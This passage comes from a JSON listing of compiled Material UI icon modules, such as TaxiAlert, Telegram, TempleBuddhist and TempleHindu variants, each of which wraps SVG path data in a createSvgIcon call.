.28-.22.5-.5.5s-.5-.22-.5-.5v-3c0-.28.22-.5.5-.5s.5.22.5.5z\"\n}, \"1\")], 'TaxiAlertRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/TaxiAlertSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 13c-1.91 0-3.63-.76-4.89-2h-8.3l1.04-3h5.44C11.1 7.37 11 6.7 11 6s.1-1.37.29-2H8v2H4.43L2 13v9h3v-2h12v2h3v-9l-.09-.27c-.61.17-1.25.27-1.91.27M6.5 17c-.83 0-1.5-.67-1.5-1.5S5.67 14 6.5 14s1.5.67 1.5 1.5S7.33 17 6.5 17m9 0c-.83 0-1.5-.67-1.5-1.5s.67-1.5 1.5-1.5 1.5.67 1.5 1.5-.67 1.5-1.5 1.5\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 1c-2.76 0-5 2.24-5 5s2.24 5 5 5 5-2.24 5-5-2.24-5-5-5m.5 8h-1V8h1zm0-2h-1V3h1z\"\n}, \"1\")], 'TaxiAlertSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/TaxiAlertSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 13c-1.91 0-3.63-.76-4.89-2h-8.3l1.04-3h5.44C11.1 7.37 11 6.7 11 6s.1-1.37.29-2H8v2H4.43L2 13v9h3v-2h12v2h3v-9l-.09-.27c-.61.17-1.25.27-1.91.27M6.5 17c-.83 0-1.5-.67-1.5-1.5S5.67 14 6.5 14s1.5.67 1.5 1.5S7.33 17 6.5 17m9 0c-.83 0-1.5-.67-1.5-1.5s.67-1.5 1.5-1.5 1.5.67 1.5 1.5-.67 1.5-1.5 1.5\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 1c-2.76 0-5 2.24-5 5s2.24 5 5 5 5-2.24 5-5-2.24-5-5-5m.5 8h-1V8h1zm0-2h-1V3h1z\"\n}, \"1\")], 'TaxiAlertSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/TaxiAlertTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4 18h14v-5H4zm11.5-4c.83 0 1.5.67 1.5 1.5s-.67 1.5-1.5 1.5-1.5-.67-1.5-1.5.67-1.5 1.5-1.5m-9 0c.83 0 1.5.67 1.5 1.5S7.33 17 6.5 17 5 16.33 5 15.5 5.67 14 6.5 14\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"6.5\",\n  cy: \"15.5\",\n  r: \"1.5\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"15.5\",\n  cy: \"15.5\",\n  r: \"1.5\"\n}, \"2\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 18H4v-5h14c-1.91 0-3.63-.76-4.89-2h-8.3l1.04-3h5.44C11.1 7.37 11 6.7 11 6s.1-1.37.29-2H8v2H5.5c-.66 0-1.21.42-1.42 1.01L2 13v8c0 .55.45 1 1 1h1c.55 0 1-.45 1-1v-1h12v1c0 .55.45 1 1 1h1c.55 0 1-.45 1-1v-8l-.09-.27c-.61.17-1.25.27-1.91.27z\"\n}, \"3\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 1c-2.76 0-5 2.24-5 5s2.24 5 5 5 5-2.24 5-5-2.24-5-5-5m.5 2v4h-1V3zm0 6h-1V8h1z\"\n}, \"4\")], 'TaxiAlertTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/TaxiAlertTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M4 18h14v-5H4zm11.5-4c.83 0 1.5.67 1.5 1.5s-.67 1.5-1.5 1.5-1.5-.67-1.5-1.5.67-1.5 1.5-1.5m-9 0c.83 0 1.5.67 1.5 1.5S7.33 17 6.5 17 5 16.33 5 15.5 5.67 14 6.5 14\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"6.5\",\n  cy: \"15.5\",\n  r: \"1.5\"\n}, \"1\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"15.5\",\n  cy: \"15.5\",\n  r: \"1.5\"\n}, \"2\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 18H4v-5h14c-1.91 0-3.63-.76-4.89-2h-8.3l1.04-3h5.44C11.1 7.37 11 6.7 11 6s.1-1.37.29-2H8v2H5.5c-.66 0-1.21.42-1.42 1.01L2 13v8c0 .55.45 1 1 1h1c.55 0 1-.45 1-1v-1h12v1c0 .55.45 1 1 1h1c.55 0 1-.45 1-1v-8l-.09-.27c-.61.17-1.25.27-1.91.27z\"\n}, \"3\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 1c-2.76 0-5 2.24-5 5s2.24 5 5 5 5-2.24 5-5-2.24-5-5-5m.5 2v4h-1V3zm0 6h-1V8h1z\"\n}, \"4\")], 'TaxiAlertTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Telegram.js",
    "content": "\"use strict\";\n'use client';\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M9.78 18.65l.28-4.23 7.68-6.92c.34-.31-.07-.46-.52-.19L7.74 13.3 3.64 12c-.88-.25-.89-.86.2-1.3l15.97-6.16c.73-.33 1.43.18 1.15 1.3l-2.72 12.81c-.19.91-.74 1.13-1.5.71L12.6 16.3l-1.99 1.93c-.23.23-.42.42-.83.42z\"\n}), 'Telegram');"
  },
  {
    "path": "packages/mui-icons-material/lib/Telegram.mjs",
    "content": "'use client';\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M9.78 18.65l.28-4.23 7.68-6.92c.34-.31-.07-.46-.52-.19L7.74 13.3 3.64 12c-.88-.25-.89-.86.2-1.3l15.97-6.16c.73-.33 1.43.18 1.15 1.3l-2.72 12.81c-.19.91-.74 1.13-1.5.71L12.6 16.3l-1.99 1.93c-.23.23-.42.42-.83.42z\"\n}), 'Telegram');"
  },
  {
    "path": "packages/mui-icons-material/lib/TempleBuddhist.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 9.02c0 1.09-.89 1.98-1.98 1.98H4.98C3.89 11 3 10.11 3 9.02H1c0 1.86 1.28 3.4 3 3.84V22h6v-3c0-1.1.9-2 2-2s2 .9 2 2v3h6v-9.14c.55-.14 3-1.04 3-3.86z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M6 8.86V10h12V8.86c.55-.14 3-1.04 3-3.86l-2 .02C19 6.11 18.11 7 17.02 7H6.98C5.89 7 5 6.11 5 5.02H3c0 1.85 1.28 3.4 3 3.84\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 1 8.25 6h7.5z\"\n}, \"2\")], 'TempleBuddhist');"
  },
  {
    "path": "packages/mui-icons-material/lib/TempleBuddhist.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 9.02c0 1.09-.89 1.98-1.98 1.98H4.98C3.89 11 3 10.11 3 9.02H1c0 1.86 1.28 3.4 3 3.84V22h6v-3c0-1.1.9-2 2-2s2 .9 2 2v3h6v-9.14c.55-.14 3-1.04 3-3.86z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M6 8.86V10h12V8.86c.55-.14 3-1.04 3-3.86l-2 .02C19 6.11 18.11 7 17.02 7H6.98C5.89 7 5 6.11 5 5.02H3c0 1.85 1.28 3.4 3 3.84\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 1 8.25 6h7.5z\"\n}, \"2\")], 'TempleBuddhist');"
  },
  {
    "path": "packages/mui-icons-material/lib/TempleBuddhistOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 9.02c0 1.09-.89 1.98-1.98 1.98H18V8.86c1.72-.44 3-1.99 3-3.84V5l-2 .02C19 6.11 18.11 7 17.02 7h-.52L12 1 7.5 7h-.52C5.89 7 5 6.11 5 5.02H3c0 1.86 1.28 3.4 3 3.84V11H4.98C3.89 11 3 10.11 3 9.02H1c0 1.86 1.28 3.4 3 3.84V22h7v-4c0-.55.45-1 1-1s1 .45 1 1v4h7v-9.14c1.72-.44 3-1.99 3-3.84V9zm-9-4.69L14 7h-4zM8 9h8v2H8zm10 11h-3v-2c0-1.65-1.35-3-3-3s-3 1.35-3 3v2H6v-7h12z\"\n}), 'TempleBuddhistOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/TempleBuddhistOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 9.02c0 1.09-.89 1.98-1.98 1.98H18V8.86c1.72-.44 3-1.99 3-3.84V5l-2 .02C19 6.11 18.11 7 17.02 7h-.52L12 1 7.5 7h-.52C5.89 7 5 6.11 5 5.02H3c0 1.86 1.28 3.4 3 3.84V11H4.98C3.89 11 3 10.11 3 9.02H1c0 1.86 1.28 3.4 3 3.84V22h7v-4c0-.55.45-1 1-1s1 .45 1 1v4h7v-9.14c1.72-.44 3-1.99 3-3.84V9zm-9-4.69L14 7h-4zM8 9h8v2H8zm10 11h-3v-2c0-1.65-1.35-3-3-3s-3 1.35-3 3v2H6v-7h12z\"\n}), 'TempleBuddhistOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/TempleBuddhistRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21.85 9.01c-.41 0-.82.24-.95.63-.26.79-1.01 1.36-1.88 1.36H4.98c-.87 0-1.62-.57-1.88-1.36-.13-.39-.53-.62-.94-.62-.66 0-1.16.64-.95 1.26.43 1.27 1.48 2.24 2.79 2.58V20c0 1.1.9 2 2 2h4v-2.89c0-1 .68-1.92 1.66-2.08 1.26-.21 2.34.76 2.34 1.97v3h4c1.1 0 2-.9 2-2v-7.14c.46-.12 2.22-.76 2.81-2.58.2-.63-.3-1.28-.96-1.27\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M6 8.86V10h12V8.86c.46-.12 2.22-.76 2.81-2.58.2-.63-.3-1.27-.96-1.27-.41 0-.82.24-.95.63-.26.79-1.01 1.36-1.88 1.36H6.98c-.87 0-1.62-.57-1.88-1.36-.13-.39-.53-.62-.94-.62-.66 0-1.16.64-.95 1.26C3.64 7.55 4.69 8.53 6 8.86\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11.2 2.07 8.25 6h7.5L12.8 2.07c-.4-.54-1.2-.54-1.6 0\"\n}, \"2\")], 'TempleBuddhistRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/TempleBuddhistRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21.85 9.01c-.41 0-.82.24-.95.63-.26.79-1.01 1.36-1.88 1.36H4.98c-.87 0-1.62-.57-1.88-1.36-.13-.39-.53-.62-.94-.62-.66 0-1.16.64-.95 1.26.43 1.27 1.48 2.24 2.79 2.58V20c0 1.1.9 2 2 2h4v-2.89c0-1 .68-1.92 1.66-2.08 1.26-.21 2.34.76 2.34 1.97v3h4c1.1 0 2-.9 2-2v-7.14c.46-.12 2.22-.76 2.81-2.58.2-.63-.3-1.28-.96-1.27\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M6 8.86V10h12V8.86c.46-.12 2.22-.76 2.81-2.58.2-.63-.3-1.27-.96-1.27-.41 0-.82.24-.95.63-.26.79-1.01 1.36-1.88 1.36H6.98c-.87 0-1.62-.57-1.88-1.36-.13-.39-.53-.62-.94-.62-.66 0-1.16.64-.95 1.26C3.64 7.55 4.69 8.53 6 8.86\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M11.2 2.07 8.25 6h7.5L12.8 2.07c-.4-.54-1.2-.54-1.6 0\"\n}, \"2\")], 'TempleBuddhistRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/TempleBuddhistSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 9.02c0 1.09-.89 1.98-1.98 1.98H4.98C3.89 11 3 10.11 3 9.02H1c0 1.86 1.28 3.4 3 3.84V22h6v-5h4v5h6v-9.14c.55-.14 3-1.04 3-3.86z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M6 8.86V10h12V8.86c.55-.14 3-1.04 3-3.86l-2 .02C19 6.11 18.11 7 17.02 7H6.98C5.89 7 5 6.11 5 5.02H3c0 1.85 1.28 3.4 3 3.84\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 1 8.25 6h7.5z\"\n}, \"2\")], 'TempleBuddhistSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/TempleBuddhistSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 9.02c0 1.09-.89 1.98-1.98 1.98H4.98C3.89 11 3 10.11 3 9.02H1c0 1.86 1.28 3.4 3 3.84V22h6v-5h4v5h6v-9.14c.55-.14 3-1.04 3-3.86z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M6 8.86V10h12V8.86c.55-.14 3-1.04 3-3.86l-2 .02C19 6.11 18.11 7 17.02 7H6.98C5.89 7 5 6.11 5 5.02H3c0 1.85 1.28 3.4 3 3.84\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 1 8.25 6h7.5z\"\n}, \"2\")], 'TempleBuddhistSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/TempleBuddhistTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 4.33 10 7h4zM8 9h8v2H8zM6 20h3v-2c0-1.65 1.35-3 3-3s3 1.35 3 3v2h3v-7H6z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 9.02c0 1.09-.89 1.98-1.98 1.98H18V8.86c1.72-.44 3-1.99 3-3.84V5l-2 .02C19 6.11 18.11 7 17.02 7h-.52L12 1 7.5 7h-.52C5.89 7 5 6.11 5 5.02H3c0 1.86 1.28 3.4 3 3.84V11H4.98C3.89 11 3 10.11 3 9.02H1c0 1.86 1.28 3.4 3 3.84V22h7v-4c0-.55.45-1 1-1s1 .45 1 1v4h7v-9.14c1.72-.44 3-1.99 3-3.84V9zm-9-4.69L14 7h-4zM8 9h8v2H8zm10 11h-3v-2c0-1.65-1.35-3-3-3s-3 1.35-3 3v2H6v-7h12z\"\n}, \"1\")], 'TempleBuddhistTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/TempleBuddhistTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 4.33 10 7h4zM8 9h8v2H8zM6 20h3v-2c0-1.65 1.35-3 3-3s3 1.35 3 3v2h3v-7H6z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 9.02c0 1.09-.89 1.98-1.98 1.98H18V8.86c1.72-.44 3-1.99 3-3.84V5l-2 .02C19 6.11 18.11 7 17.02 7h-.52L12 1 7.5 7h-.52C5.89 7 5 6.11 5 5.02H3c0 1.86 1.28 3.4 3 3.84V11H4.98C3.89 11 3 10.11 3 9.02H1c0 1.86 1.28 3.4 3 3.84V22h7v-4c0-.55.45-1 1-1s1 .45 1 1v4h7v-9.14c1.72-.44 3-1.99 3-3.84V9zm-9-4.69L14 7h-4zM8 9h8v2H8zm10 11h-3v-2c0-1.65-1.35-3-3-3s-3 1.35-3 3v2H6v-7h12z\"\n}, \"1\")], 'TempleBuddhistTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/TempleHindu.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M6.6 11h10.8l-.9-3h-9zM20 11v2H4v-2H2v11h8v-5h4v5h8V11zm-4.1-5L15 3V1h-2v2h-2.03V1h-2v2.12L8.1 6z\"\n}), 'TempleHindu');"
  },
  {
    "path": "packages/mui-icons-material/lib/TempleHindu.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M6.6 11h10.8l-.9-3h-9zM20 11v2H4v-2H2v11h8v-5h4v5h8V11zm-4.1-5L15 3V1h-2v2h-2.03V1h-2v2.12L8.1 6z\"\n}), 'TempleHindu');"
  },
  {
    "path": "packages/mui-icons-material/lib/TempleHinduOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 11v2h-2L15 3V1h-2v2h-2.03V1h-2v2.12L6 13H4v-2H2v11h9v-5h2v5h9V11zm-4.69 0H8.69l.6-2h5.42zm-1.2-4H9.89l.6-2h3.02zM20 20h-5v-5H9v5H4v-5h3.49l.6-2h7.82l.6 2H20z\"\n}), 'TempleHinduOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/TempleHinduOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 11v2h-2L15 3V1h-2v2h-2.03V1h-2v2.12L6 13H4v-2H2v11h9v-5h2v5h9V11zm-4.69 0H8.69l.6-2h5.42zm-1.2-4H9.89l.6-2h3.02zM20 20h-5v-5H9v5H4v-5h3.49l.6-2h7.82l.6 2H20z\"\n}), 'TempleHinduOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/TempleHinduRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M6.6 11h10.8l-.9-3h-9zM20 12v1H4v-1c0-.55-.45-1-1-1s-1 .45-1 1v8c0 1.1.9 2 2 2h6v-3c0-1.1.9-2 2-2s2 .9 2 2v3h6c1.1 0 2-.9 2-2v-8c0-.55-.45-1-1-1s-1 .45-1 1m-4.1-6L15 3V2c0-.55-.45-1-1-1s-1 .45-1 1v1h-2.03V2c0-.55-.45-1-1-1s-1 .45-1 1v1.12L8.1 6z\"\n}), 'TempleHinduRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/TempleHinduRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M6.6 11h10.8l-.9-3h-9zM20 12v1H4v-1c0-.55-.45-1-1-1s-1 .45-1 1v8c0 1.1.9 2 2 2h6v-3c0-1.1.9-2 2-2s2 .9 2 2v3h6c1.1 0 2-.9 2-2v-8c0-.55-.45-1-1-1s-1 .45-1 1m-4.1-6L15 3V2c0-.55-.45-1-1-1s-1 .45-1 1v1h-2.03V2c0-.55-.45-1-1-1s-1 .45-1 1v1.12L8.1 6z\"\n}), 'TempleHinduRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/TempleHinduSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M6.6 11h10.8l-.9-3h-9zM20 11v2H4v-2H2v11h8v-5h4v5h8V11zm-4.1-5L15 3V1h-2v2h-2.03V1h-2v2.12L8.1 6z\"\n}), 'TempleHinduSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/TempleHinduSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M6.6 11h10.8l-.9-3h-9zM20 11v2H4v-2H2v11h8v-5h4v5h8V11zm-4.1-5L15 3V1h-2v2h-2.03V1h-2v2.12L8.1 6z\"\n}), 'TempleHinduSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/TempleHinduTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M13.51 5h-3.02l-.6 2h4.22zm1.2 4H9.29l-.6 2h6.62zm1.2 4H8.09l-.6 2H4v5h5v-5h6v5h5v-5h-3.49z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 11v2h-2L15 3V1h-2v2h-2.03V1h-2v2.12L6 13H4v-2H2v11h9v-5h2v5h9V11zm-9.51-6h3.02l.6 2H9.89zm-1.2 4h5.42l.6 2H8.69zM20 20h-5v-5H9v5H4v-5h3.49l.6-2h7.82l.6 2H20z\"\n}, \"1\")], 'TempleHinduTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/TempleHinduTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M13.51 5h-3.02l-.6 2h4.22zm1.2 4H9.29l-.6 2h6.62zm1.2 4H8.09l-.6 2H4v5h5v-5h6v5h5v-5h-3.49z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 11v2h-2L15 3V1h-2v2h-2.03V1h-2v2.12L6 13H4v-2H2v11h9v-5h2v5h9V11zm-9.51-6h3.02l.6 2H9.89zm-1.2 4h5.42l.6 2H8.69zM20 20h-5v-5H9v5H4v-5h3.49l.6-2h7.82l.6 2H20z\"\n}, \"1\")], 'TempleHinduTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/TenMp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M13.5 7H15v3h-1.5zM19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m-7 15.5h-1.5V14h-1v3H8v-3H7v4.5H5.5v-5c0-.55.45-1 1-1H11c.55 0 1 .45 1 1zm3.5 0H14v-6h3.5c.55 0 1 .45 1 1V16c0 .55-.45 1-1 1h-2zM10 5.5v6H8.5V7H7V5.5zm6.5 5c0 .55-.45 1-1 1H13c-.55 0-1-.45-1-1v-4c0-.55.45-1 1-1h2.5c.55 0 1 .45 1 1zm-1 3.5H17v1.5h-1.5z\"\n}), 